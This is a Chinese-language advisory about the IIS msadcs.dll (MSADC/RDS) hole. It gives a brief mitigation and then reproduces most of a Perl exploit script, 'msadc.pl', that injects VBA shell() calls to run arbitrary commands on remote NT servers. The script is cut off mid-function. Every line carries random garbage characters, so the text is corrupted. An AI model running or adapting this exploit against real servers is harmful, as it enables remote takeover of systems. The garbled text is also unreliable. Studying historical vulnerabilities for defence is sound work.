IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
InG<B,/W? Z"G?+gM@ 涉及程序:
^.[+)0I Microsoft NT server
oTeQY[%$ WhL"-f 描述:
Tt{ft?H71 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
+H_ / 3H5<w4yk 详细:
7':<I-Fm 如果你没有时间读详细内容的话,就删除:
<*opVy^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
} d7o- 有关的安全问题就没有了。
2yV{y#\ VjSA&R 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
UQ2;Dg G% mW."lzIl 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
\U?{m)N 关于利用ODBC远程漏洞的描述,请参看:
HmpV;
<t3 (Jy >,~O http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *%dWNvN4X }& 01=nY 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Z?'?+48xv4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp Wp=:|J -:V2Dsr6; 这里不再论述。
f q*V76F lW@i,1 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
zh4m`}p t<qXXQ&5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=!2(7Nr 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
84-7!< 6i 7=4V1FS6i j,g.Eo #将下面这段保存为txt文件,然后: "perl -x 文件名"
E"%G@,|3* jhE3@c@pT #!perl
v?4MndR #
+'D
#VG # MSADC/RDS 'usage' (aka exploit) script
"\kr;X' #
ptpu
u=3" # by rain.forest.puppy
SG3qNM: g #
uX,ln(9I*H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
@,TCg1@QJ # beta test and find errors!
N Z~"2~Hh #]Q.B\\ use Socket; use Getopt::Std;
v&u8Ks getopts("e:vd:h:XR", \%args);
=A^VzIj( 0Yc#fD print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6H!"oC& 9/50+2F if (!defined $args{h} && !defined $args{R}) {
TGozoPV print qq~
86f/R
c Usage: msadc.pl -h <host> { -d <delay> -X -v }
yl~h
`b4 -h <host> = host you want to scan (ip or domain)
.sbV<ulbc -d <seconds> = delay between calls, default 1 second
M{~KT3c -X = dump Index Server path table, if available
Fy]j33E -v = verbose
4 Yl:1rz -e = external dictionary file for step 5
3Y=?~!,Jk q0QB[)AP Or a -R will resume a command session
rKW kT" C AF{7 `{ ~; exit;}
24/ ^_Td 5I@2U vV8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
@c{b\is2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
o*|j}hnbv if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
U*Pi%J if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
r1X\$& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}Z\PE0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
38O_PK (:T\< if (!defined $args{R}){ $ret = &has_msadc;
W RVm^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{AqPQeNgz "4qv
yVOE print "Please type the NT commandline you want to run (cmd /c assumed):\n"
V$<5` . "cmd /c ";
FG5t\!dt< $in=<STDIN>; chomp $in;
)3~):+ $command="cmd /c " . $in ;
k-\RdX)E }KwL_\>&f if (defined $args{R}) {&load; exit;}
'x!5fAy 421ol print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
[0mg\n? &try_btcustmr;
Mi_/
^
\py
\rI print "\nStep 2: Trying to make our own DSN...";
m|+g_JZ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Sj<WiQ%< gEU|Bx/!= print "\nStep 3: Trying known DSNs...";
uvf}7 &known_dsn;
O9]+Jd4W 4&([<gyR< print "\nStep 4: Trying known .mdbs...";
!5K9L(gqb &known_mdb;
eo&nAr 5m&Zq_Qe if (defined $args{e}){
Ox1#}7`0> print "\nStep 5: Trying dictionary of DSN names...";
R7d45Wl &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]\5?E }kd r.b!3CoQ print "Sorry Charley...maybe next time?\n";
\`M8Mu9~w exit;
ULkhTB uDpCW} ##############################################################################
qA6;Q$ :vk TV~ sub sendraw { # ripped and modded from whisker
b$:<T7vei sleep($delay); # it's a DoS on the server! At least on mine...
+1%7*2q, my ($pstr)=@_;
^p433 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3Rsbi die("Socket problems\n");
h|j$Jy if(connect(S,pack "SnA4x8",2,80,$target)){
qx~-(|s`H select(S); $|=1;
>FabmIcC print $pstr; my @in=<S>;
K`?",G?_ select(STDOUT); close(S);
/G h?z return @in;
/
`Glf| } else { die("Can't connect...\n"); }}
XNJPf) T 3B5GsI ##############################################################################
G F-\WD P[E5e+A) sub make_header { # make the HTTP request
89[5a my $msadc=<<EOT
<,!e*V*U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
LJAqk2k User-Agent: ACTIVEDATA
af<R. Host: $ip
lU[" ZFP Content-Length: $clen
O+^l>+ZGj? Connection: Keep-Alive
cn$o$:tW RHc-kggk! ADCClientVersion:01.06
+(-L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ZCAdCKX| kgV_*0^ --!ADM!ROX!YOUR!WORLD!
eJJD'Z Content-Type: application/x-varg
x$;I E Content-Length: $reqlen
_Fz]QxO OIMsxXF\J EOT
1]i{b/ 4 ; $msadc=~s/\n/\r\n/g;
O:Ixy?b;Z return $msadc;}
nM1F4G `"/s," c:D ##############################################################################
*+ql{\am4N qQu}4Ye> sub make_req { # make the RDS request
$-}a<UFE; my ($switch, $p1, $p2)=@_;
ST#MCh-00 my $req=""; my $t1, $t2, $query, $dsn;
+ S^OzCGk VM1`:1Z:$ if ($switch==1){ # this is the btcustmr.mdb query
ebSG|F $query="Select * from Customers where City=" . make_shell();
Qt@_C*,P $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+y$%S4>0tp $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;p!|E3o. 0'IV"eH2 elsif ($switch==2){ # this is general make table query
SCCBTpmf2B $query="create table AZZ (B int, C varchar(10))";
a9ko3L $dsn="$p1";}
gua +-##) bV5 { elsif ($switch==3){ # this is general exploit table query
2L<iIBSJwm $query="select * from AZZ where C=" . make_shell();
Be=J*D!E=> $dsn="$p1";}
H<|ilL'fX O#,Uz2 elsif ($switch==4){ # attempt to hork file info from index server
GxL;@%B $query="select path from scope()";
%8_bh8g- $dsn="Provider=MSIDXS;";}
qW1d;pt pu:Ie#xTDf elsif ($switch==5){ # bad query
(|<e4HfZL $query="select";
0@K?'6 $dsn="$p1";}
'
DZYN {} 6 K+DgNK $t1= make_unicode($query);
s\k4<d5 $t2= make_unicode($dsn);
H6Mqy}4W $req = "\x02\x00\x03\x00";
E,S[3 + $req.= "\x08\x00" . pack ("S1", length($t1));
Li jisE $req.= "\x00\x00" . $t1 ;
QgZwU$`p0 $req.= "\x08\x00" . pack ("S1", length($t2));
o"te7nBI $req.= "\x00\x00" . $t2 ;
TzC'xWO
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!\
IgTt, return $req;}
QUPZe~G>L Nq`@ >Ml ##############################################################################
{{G`0i2KV B^;P:S<yG sub make_shell { # this makes the shell() statement
G% |$3 return "'|shell(\"$command\")|'";}
eDh]uKg q`HuVilNH ##############################################################################
x}Y -VqZw&" sub make_unicode { # quick little function to convert to unicode
tai=2,' my ($in)=@_; my $out;
#Sxk[[KwH* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
cjf 8N:4N0 return $out;}
.l| [e 0W92Z@_GY ##############################################################################
,cgFdOM. e;+6U"Jx* sub rdo_success { # checks for RDO return success (this is kludge)
n9
LTrhLqp my (@in) = @_; my $base=content_start(@in);
x)Y?kVw21" if($in[$base]=~/multipart\/mixed/){
iP7
Cku}l return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5s=ZA*(sY return 0;}
CFm(
yFk NUlp4i~Q ##############################################################################
D5o[z:V7" S>-x<'Os sub make_dsn { # this makes a DSN for us
Z*+0gJ<Y my @drives=("c","d","e","f");
i`m&X6)\j print "\nMaking DSN: ";
?ztI8I/ foreach $drive (@drives) {
BB x359 print "$drive: ";
XX85]49`% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4pvT?s>68 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
w\"~*(M . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
-C]k YQ
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)\
`AD# return 0 if $2 eq "404"; # not found/doesn't exist
9g7d:zG if($2 eq "200") {
-/x=`S* foreach $line (@results) {
m*Zq3j return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
03ol6y )C } return 0;}
WpPm|h 4LEWOWF} ##############################################################################
r8.`W\SKX
Z~g6C0 sub verify_exists {
p<eu0B_V my ($page)=@_;
`!`g&:Y my @results=sendraw("GET $page HTTP/1.0\n\n");
I~^t\iujs return $results[0];}
3 291"0 F9ys.Bc ##############################################################################
6:fHPlqW 7Ei,L[{\i# sub try_btcustmr {
ans(^Up$ my @drives=("c","d","e","f");
04K[U9W3 my @dirs=("winnt","winnt35","winnt351","win","windows");
_d|CO iS p +~ foreach $dir (@dirs) {
R[C+?qux print "$dir -> "; # fun status so you can see progress
Kyf,<zF foreach $drive (@drives) {
q7}r D$ print "$drive: "; # ditto
Y X`BX$ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
`fnU p- $reqlenlen=length( "$reqlen" );
{\1:2UKkr $clen= 206 + $reqlenlen + $reqlen;
1^f7 b< dwf[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
', WnT: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
eD|p1+76 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
YiO3.+H i/vo ##############################################################################
3WVH8S b Fy;
sVB sub odbc_error {
fH@P&SX